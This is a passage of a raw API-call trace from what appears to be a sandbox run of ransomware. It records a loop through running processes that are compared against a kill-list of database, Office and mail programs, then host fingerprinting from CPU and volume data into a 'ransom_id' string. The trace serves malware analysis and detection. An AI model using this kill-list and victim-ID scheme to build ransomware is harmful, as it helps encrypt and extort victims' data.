[0039.897] Process32NextW (in: hSnapshot=0x178, lppe=0x430000 | out: lppe=0x430000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0039.898] lstrcmpiW (lpString1="msftesql.exe", lpString2="csrss.exe") returned 1 [0039.898] lstrcmpiW (lpString1="sqlagent.exe", lpString2="csrss.exe") returned 1 [0039.898] lstrcmpiW (lpString1="sqlbrowser.exe", lpString2="csrss.exe") returned 1 [0039.898] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0039.898] lstrcmpiW (lpString1="sqlwriter.exe", lpString2="csrss.exe") returned 1 [0039.898] lstrcmpiW (lpString1="oracle.exe", lpString2="csrss.exe") returned 1 [0039.898] lstrcmpiW (lpString1="ocssd.exe", lpString2="csrss.exe") returned 1 [0039.898] lstrcmpiW (lpString1="dbsnmp.exe", lpString2="csrss.exe") returned 1 [0039.898] lstrcmpiW (lpString1="synctime.exe", lpString2="csrss.exe") returned 1 [0039.898] lstrcmpiW (lpString1="mydesktopqos.exe", lpString2="csrss.exe") returned 1 [0039.898] lstrcmpiW (lpString1="agntsvc.exeisqlplussvc.exe", lpString2="csrss.exe") returned -1 [0039.898] lstrcmpiW (lpString1="xfssvccon.exe", lpString2="csrss.exe") returned 1 [0039.898] lstrcmpiW (lpString1="mydesktopservice.exe", lpString2="csrss.exe") returned 1 [0039.898] lstrcmpiW (lpString1="ocautoupds.exe", lpString2="csrss.exe") returned 1 [0039.898] lstrcmpiW (lpString1="agntsvc.exeagntsvc.exe", lpString2="csrss.exe") returned -1 [0039.898] lstrcmpiW (lpString1="agntsvc.exeencsvc.exe", lpString2="csrss.exe") returned -1 [0039.898] lstrcmpiW (lpString1="firefoxconfig.exe", lpString2="csrss.exe") returned 1 [0039.898] lstrcmpiW (lpString1="tbirdconfig.exe", lpString2="csrss.exe") returned 1 [0039.898] lstrcmpiW (lpString1="ocomm.exe", lpString2="csrss.exe") returned 1 [0039.898] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0039.898] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0039.898] lstrcmpiW (lpString1="mysqld-opt.exe", lpString2="csrss.exe") returned 1 [0039.898] lstrcmpiW (lpString1="dbeng50.exe", lpString2="csrss.exe") returned 1 [0039.898] lstrcmpiW (lpString1="sqbcoreservice.exe", lpString2="csrss.exe") returned 1 [0039.898] lstrcmpiW (lpString1="excel.exe", lpString2="csrss.exe") returned 1 [0039.898] lstrcmpiW (lpString1="infopath.exe", lpString2="csrss.exe") returned 1 [0039.898] lstrcmpiW (lpString1="msaccess.exe", lpString2="csrss.exe") returned 1 [0039.898] lstrcmpiW (lpString1="mspub.exe", lpString2="csrss.exe") returned 1 [0039.898] lstrcmpiW (lpString1="onenote.exe", lpString2="csrss.exe") returned 1 [0039.898] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0039.898] lstrcmpiW (lpString1="powerpnt.exe", lpString2="csrss.exe") returned 1 [0039.898] lstrcmpiW (lpString1="steam.exe", lpString2="csrss.exe") returned 1 [0039.898] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0039.898] lstrcmpiW (lpString1="thebat.exe", lpString2="csrss.exe") returned 1 [0039.898] lstrcmpiW (lpString1="thebat64.exe", lpString2="csrss.exe") returned 1 [0039.898] lstrcmpiW (lpString1="thunderbird.exe", lpString2="csrss.exe") returned 1 [0039.898] lstrcmpiW (lpString1="visio.exe", lpString2="csrss.exe") returned 1 [0039.898] lstrcmpiW (lpString1="winword.exe", lpString2="csrss.exe") returned 1 [0039.898] lstrcmpiW (lpString1="wordpad.exe", lpString2="csrss.exe") returned 1 [0039.898] Process32NextW (in: hSnapshot=0x178, lppe=0x430000 | out: lppe=0x430000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0039.899] lstrcmpiW (lpString1="msftesql.exe", lpString2="winlogon.exe") returned -1 [0039.899] lstrcmpiW (lpString1="sqlagent.exe", lpString2="winlogon.exe") returned -1 [0039.899] lstrcmpiW (lpString1="sqlbrowser.exe", lpString2="winlogon.exe") returned -1 [0039.899] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0039.899] lstrcmpiW (lpString1="sqlwriter.exe", lpString2="winlogon.exe") returned -1 [0039.899] lstrcmpiW (lpString1="oracle.exe", lpString2="winlogon.exe") returned -1 [0039.899] lstrcmpiW (lpString1="ocssd.exe", lpString2="winlogon.exe") returned -1 [0039.899] lstrcmpiW (lpString1="dbsnmp.exe", lpString2="winlogon.exe") returned -1 [0039.899] lstrcmpiW (lpString1="synctime.exe", lpString2="winlogon.exe") returned -1 [0039.899] lstrcmpiW (lpString1="mydesktopqos.exe", lpString2="winlogon.exe") returned -1 [0039.899] lstrcmpiW (lpString1="agntsvc.exeisqlplussvc.exe", lpString2="winlogon.exe") returned -1 [0039.899] lstrcmpiW (lpString1="xfssvccon.exe", lpString2="winlogon.exe") returned 1 [0039.899] lstrcmpiW (lpString1="mydesktopservice.exe", lpString2="winlogon.exe") returned -1 [0039.899] lstrcmpiW (lpString1="ocautoupds.exe", lpString2="winlogon.exe") returned -1 [0039.899] lstrcmpiW (lpString1="agntsvc.exeagntsvc.exe", lpString2="winlogon.exe") returned -1 [0039.899] Process32NextW (in: hSnapshot=0x178, lppe=0x430000 | out: lppe=0x430000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x194, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0039.900] Process32NextW (in: hSnapshot=0x178, lppe=0x430000 | out: lppe=0x430000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x194, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0039.900] Process32NextW (in: hSnapshot=0x178, lppe=0x430000 | out: lppe=0x430000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0039.901] Process32NextW (in: hSnapshot=0x178, lppe=0x430000 | out: lppe=0x430000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x268, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0039.901] Process32NextW (in: hSnapshot=0x178, lppe=0x430000 | out: lppe=0x430000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1cc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0039.901] Process32NextW (in: hSnapshot=0x178, lppe=0x430000 | out: lppe=0x430000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x32c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x43, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0039.902] Process32NextW (in: hSnapshot=0x178, lppe=0x430000 | out: lppe=0x430000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0039.902] Process32NextW (in: hSnapshot=0x178, lppe=0x430000 | out: lppe=0x430000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0039.903] Process32NextW (in: hSnapshot=0x178, lppe=0x430000 | out: lppe=0x430000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0039.903] Process32NextW (in: hSnapshot=0x178, lppe=0x430000 | out: lppe=0x430000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0039.904] Process32NextW (in: hSnapshot=0x178, lppe=0x430000 | out: lppe=0x430000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0039.904] Process32NextW (in: hSnapshot=0x178, lppe=0x430000 | out: lppe=0x430000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x420, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0039.904] Process32NextW (in: hSnapshot=0x178, lppe=0x430000 | out: lppe=0x430000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0039.905] Process32NextW (in: hSnapshot=0x178, lppe=0x430000 | out: lppe=0x430000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0039.905] Process32NextW (in: hSnapshot=0x178, lppe=0x430000 | out: lppe=0x430000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0039.906] Process32NextW (in: hSnapshot=0x178, lppe=0x430000 | out: lppe=0x430000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x680, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0039.906] Process32NextW (in: hSnapshot=0x178, lppe=0x430000 | out: lppe=0x430000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x32c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0039.907] Process32NextW (in: hSnapshot=0x178, lppe=0x430000 | out: lppe=0x430000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x32c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0039.907] Process32NextW (in: hSnapshot=0x178, lppe=0x430000 | out: lppe=0x430000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x728, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x44, th32ParentProcessID=0x67c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0039.907] Process32NextW (in: hSnapshot=0x178, lppe=0x430000 | out: lppe=0x430000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x85c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0039.908] Process32NextW (in: hSnapshot=0x178, lppe=0x430000 | out: lppe=0x430000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x974, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0039.908] Process32NextW (in: hSnapshot=0x178, lppe=0x430000 | out: lppe=0x430000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xafc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0039.909] Process32NextW (in: hSnapshot=0x178, lppe=0x430000 | out: lppe=0x430000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x958, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x728, pcPriClassBase=8, dwFlags=0x0, szExeFile="ONENOTEM.EXE")) returned 1 [0039.909] Process32NextW (in: hSnapshot=0x178, lppe=0x430000 | out: lppe=0x430000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0039.910] Process32NextW (in: hSnapshot=0x178, lppe=0x430000 | out: lppe=0x430000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x32c, pcPriClassBase=6, dwFlags=0x0, szExeFile="AdobeARM.exe")) returned 1 [0039.910] Process32NextW (in: hSnapshot=0x178, lppe=0x430000 | out: lppe=0x430000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x728, pcPriClassBase=8, dwFlags=0x0, szExeFile="joining.exe")) returned 1 [0039.910] Process32NextW (in: hSnapshot=0x178, lppe=0x430000 | out: lppe=0x430000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x728, pcPriClassBase=8, dwFlags=0x0, szExeFile="accused_eden_inquiries.exe")) returned 1 [0039.911] Process32NextW (in: hSnapshot=0x178, lppe=0x430000 | out: lppe=0x430000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x728, pcPriClassBase=8, dwFlags=0x0, szExeFile="cradlecompare.exe")) returned 1 [0039.911] Process32NextW (in: hSnapshot=0x178, lppe=0x430000 | out: lppe=0x430000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x728, pcPriClassBase=8, dwFlags=0x0, szExeFile="todd_allan.exe")) returned 1 [0039.912] Process32NextW (in: hSnapshot=0x178, lppe=0x430000 | out: lppe=0x430000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x728, pcPriClassBase=8, dwFlags=0x0, szExeFile="metres_steven_portland_notify.exe")) returned 1 [0039.912] Process32NextW (in: hSnapshot=0x178, lppe=0x430000 | out: lppe=0x430000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x728, pcPriClassBase=8, dwFlags=0x0, szExeFile="abraham humanitarian syntax.exe")) returned 1 [0039.912] Process32NextW (in: hSnapshot=0x178, lppe=0x430000 | out: lppe=0x430000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x728, pcPriClassBase=8, dwFlags=0x0, szExeFile="hacalciumincident.exe")) returned 1 [0039.913] Process32NextW (in: hSnapshot=0x178, lppe=0x430000 | out: lppe=0x430000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x728, pcPriClassBase=8, dwFlags=0x0, szExeFile="museums.exe")) returned 1 [0039.913] Process32NextW (in: hSnapshot=0x178, lppe=0x430000 | out: lppe=0x430000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x728, pcPriClassBase=8, dwFlags=0x0, szExeFile="bolivia.exe")) returned 1 [0039.914] Process32NextW (in: hSnapshot=0x178, lppe=0x430000 | out: lppe=0x430000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x728, pcPriClassBase=8, dwFlags=0x0, szExeFile="follow-doubt-like.exe")) returned 1 [0039.914] Process32NextW (in: hSnapshot=0x178, lppe=0x430000 | out: lppe=0x430000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x728, pcPriClassBase=8, dwFlags=0x0, szExeFile="individualstageslands.exe")) returned 1 [0039.915] Process32NextW (in: hSnapshot=0x178, lppe=0x430000 | out: lppe=0x430000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x728, pcPriClassBase=8, dwFlags=0x0, szExeFile="noble sun epson hydrocodone.exe")) returned 1 [0039.915] Process32NextW (in: hSnapshot=0x178, lppe=0x430000 | out: lppe=0x430000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x728, pcPriClassBase=8, dwFlags=0x0, szExeFile="therapy-modify.exe")) returned 1 [0039.916] Process32NextW (in: hSnapshot=0x178, lppe=0x430000 | out: lppe=0x430000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x728, pcPriClassBase=8, dwFlags=0x0, szExeFile="malaysia-smell-jumping.exe")) returned 1 [0039.916] Process32NextW (in: hSnapshot=0x178, lppe=0x430000 | out: lppe=0x430000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x728, pcPriClassBase=8, dwFlags=0x0, szExeFile="genius.exe")) returned 1 [0039.916] Process32NextW (in: hSnapshot=0x178, lppe=0x430000 | out: lppe=0x430000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x728, pcPriClassBase=8, dwFlags=0x0, szExeFile="scoring.exe")) returned 1 [0039.917] Process32NextW (in: hSnapshot=0x178, lppe=0x430000 | out: lppe=0x430000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x728, pcPriClassBase=8, dwFlags=0x0, szExeFile="taught advertisements attorneys.exe")) returned 1 [0039.917] Process32NextW (in: hSnapshot=0x178, lppe=0x430000 | out: lppe=0x430000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x728, pcPriClassBase=8, dwFlags=0x0, szExeFile="notified.exe")) returned 1 [0039.918] Process32NextW (in: hSnapshot=0x178, lppe=0x430000 | out: lppe=0x430000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x728, pcPriClassBase=8, dwFlags=0x0, szExeFile="instead-involves-stephen.exe")) returned 1 [0039.918] Process32NextW (in: hSnapshot=0x178, lppe=0x430000 | out: lppe=0x430000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x728, pcPriClassBase=8, dwFlags=0x0, szExeFile="fall-arrive.exe")) returned 1 [0039.919] Process32NextW (in: hSnapshot=0x178, lppe=0x430000 | out: lppe=0x430000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x728, pcPriClassBase=8, dwFlags=0x0, szExeFile="charger.exe")) returned 1 [0039.919] Process32NextW (in: hSnapshot=0x178, lppe=0x430000 | out: lppe=0x430000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x728, pcPriClassBase=8, dwFlags=0x0, szExeFile="attempted.exe")) returned 1 [0039.919] Process32NextW (in: hSnapshot=0x178, lppe=0x430000 | out: lppe=0x430000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0039.920] Process32NextW (in: hSnapshot=0x178, lppe=0x430000 | out: lppe=0x430000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x478, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x728, pcPriClassBase=8, dwFlags=0x0, szExeFile="bi35.exe")) returned 1 [0039.920] Process32NextW (in: hSnapshot=0x178, lppe=0x430000 | out: lppe=0x430000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x32c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0039.921] Process32NextW (in: hSnapshot=0x178, lppe=0x430000 | out: lppe=0x430000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x32c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 0 [0039.921] VirtualFree (lpAddress=0x430000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0039.921] CloseHandle (hObject=0x178) returned 1 [0039.921] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM\\CurrentControlSet\\services\\Tcpip\\Parameters", ulOptions=0x0, samDesired=0x20019, phkResult=0x19fc54 | out: phkResult=0x19fc54*=0x178) returned 0x0 [0039.921] RegQueryValueExW (in: hKey=0x178, lpValueName="Domain", lpReserved=0x0, lpType=0x0, lpData=0x564bb8, lpcbData=0x19fc64*=0x80 | out: lpType=0x0, lpData=0x564bb8*=0x0, lpcbData=0x19fc64*=0x2) returned 0x0 [0039.921] RegCloseKey (hKey=0x178) returned 0x0 [0039.921] wsprintfW (in: param_1=0x564bb8, param_2="WORKGROUP" | out: param_1="WORKGROUP") returned 9 [0039.922] GetWindowsDirectoryW (in: lpBuffer=0x566530, uSize=0x100 | out: lpBuffer="C:\\Windows") returned 0xa [0039.922] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x566730, nVolumeNameSize=0x100, lpVolumeSerialNumber=0x566b30, lpMaximumComponentLength=0x566b38, lpFileSystemFlags=0x566b34, lpFileSystemNameBuffer=0x566930, nFileSystemNameSize=0x100 | out: lpVolumeNameBuffer="SYSTEM", lpVolumeSerialNumber=0x566b30*=0xd2ca4def, lpMaximumComponentLength=0x566b38*=0xff, lpFileSystemFlags=0x566b34*=0x3e700ff, lpFileSystemNameBuffer="NTFS") returned 1 [0039.922] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0", ulOptions=0x0, samDesired=0x20019, phkResult=0x19fc54 | out: phkResult=0x19fc54*=0x178) returned 0x0 [0039.922] RegQueryValueExW (in: hKey=0x178, lpValueName="ProcessorNameString", lpReserved=0x0, lpType=0x0, lpData=0x566b3c, lpcbData=0x19fc64*=0x80 | out: lpType=0x0, lpData=0x566b3c*=0x49, lpcbData=0x19fc64*=0x54) returned 0x0 [0039.922] RegCloseKey (hKey=0x178) returned 0x0 [0039.922] lstrlenW (lpString="Intel(R) Xeon(R) CPU E3-1270 v5 @ 3.60GHz") returned 41 [0039.922] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0", ulOptions=0x0, samDesired=0x20019, phkResult=0x19fc54 | out: phkResult=0x19fc54*=0x178) returned 0x0 [0039.922] RegQueryValueExW (in: hKey=0x178, lpValueName="Identifier", lpReserved=0x0, lpType=0x0, lpData=0x566b8e, lpcbData=0x19fc64*=0x80 | out: lpType=0x0, lpData=0x566b8e*=0x49, lpcbData=0x19fc64*=0x4a) returned 0x0 [0039.922] RegCloseKey (hKey=0x178) returned 0x0 [0039.922] wsprintfW (in: param_1=0x566128, param_2="%d" | out: param_1="-758493713") returned 10 [0039.922] lstrcatW (in: lpString1="-758493713", lpString2="Intel(R) Xeon(R) CPU E3-1270 v5 @ 3.60GHzIntel64 Family 6 Model 94 Stepping 3" | out: lpString1="-758493713Intel(R) Xeon(R) CPU E3-1270 v5 @ 3.60GHzIntel64 Family 6 Model 94 Stepping 3") returned="-758493713Intel(R) Xeon(R) CPU E3-1270 v5 @ 3.60GHzIntel64 Family 6 Model 94 Stepping 3" [0039.922] GetModuleHandleW (lpModuleName="ntdll.dll") returned 0x77190000 [0039.922] GetProcAddress (hModule=0x77190000, lpProcName="RtlComputeCrc32") returned 0x771b6b10 [0039.922] lstrlenW (lpString="-758493713Intel(R) Xeon(R) CPU E3-1270 v5 @ 3.60GHzIntel64 Family 6 Model 94 Stepping 3") returned 87 [0039.922] RtlComputeCrc32 (PartialCrc=0x29a, Buffer=0x566128, Length=0xae) returned 0xdce1bb8b [0039.922] lstrlenW (lpString="WORKGROUP") returned 9 [0039.922] lstrlenW (lpString="pc_group") returned 8 [0039.922] VirtualAlloc (lpAddress=0x0, dwSize=0x94, flAllocationType=0x3000, flProtect=0x40) returned 0x430000 [0039.923] lstrcatW (in: lpString1="", lpString2="pc_group" | out: lpString1="pc_group") returned="pc_group" [0039.923] lstrcatW (in: lpString1="pc_group", lpString2="=" | out: lpString1="pc_group=") returned="pc_group=" [0039.923] lstrcatW (in: lpString1="pc_group=", lpString2="WORKGROUP" | out: lpString1="pc_group=WORKGROUP") returned="pc_group=WORKGROUP" [0039.923] lstrcatW (in: lpString1="pc_group=WORKGROUP", lpString2="&" | out: lpString1="pc_group=WORKGROUP&") returned="pc_group=WORKGROUP&" [0039.923] VirtualAlloc (lpAddress=0x0, dwSize=0x42, flAllocationType=0x3000, flProtect=0x40) returned 0x440000 [0039.924] wsprintfW (in: param_1=0x440000, param_2="%x%x" | out: param_1="dce1bb8bd2ca4def") returned 16 [0039.924] lstrcatW (in: lpString1="pc_group=WORKGROUP&", lpString2="ransom_id" | out: lpString1="pc_group=WORKGROUP&ransom_id") returned="pc_group=WORKGROUP&ransom_id" [0039.924] lstrcatW (in: lpString1="pc_group=WORKGROUP&ransom_id", lpString2="=" | out: lpString1="pc_group=WORKGROUP&ransom_id=") returned="pc_group=WORKGROUP&ransom_id=" [0039.924] lstrcatW (in: lpString1="pc_group=WORKGROUP&ransom_id=", lpString2="dce1bb8bd2ca4def" | out: lpString1="pc_group=WORKGROUP&ransom_id=dce1bb8bd2ca4def") returned="pc_group=WORKGROUP&ransom_id=dce1bb8bd2ca4def" [0039.924] lstrcatW (in: lpString1="pc_group=WORKGROUP&ransom_id=dce1bb8bd2ca4def", lpString2="&" | out: lpString1="pc_group=WORKGROUP&ransom_id=dce1bb8bd2ca4def&") returned="pc_group=WORKGROUP&ransom_id=dce1bb8bd2ca4def&" [0039.924] VirtualFree (lpAddress=0x440000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0039.924] lstrlenW (lpString="pc_group=WORKGROUP&ransom_id=dce1bb8bd2ca4def&") returned 46 [0039.924] lstrlenW (lpString="ransom_id=") returned 10 [0039.924] lstrcpyW (in: lpString1=0x412430, lpString2="dce1bb8bd2ca4def" | out: lpString1="dce1bb8bd2ca4def") returned="dce1bb8bd2ca4def" [0039.924] lstrlenW (lpString="dce1bb8bd2ca4def") returned 16 [0039.924] lstrcpyW (in: lpString1=0x412630, lpString2="dce1bb8bd2ca4def" | out: 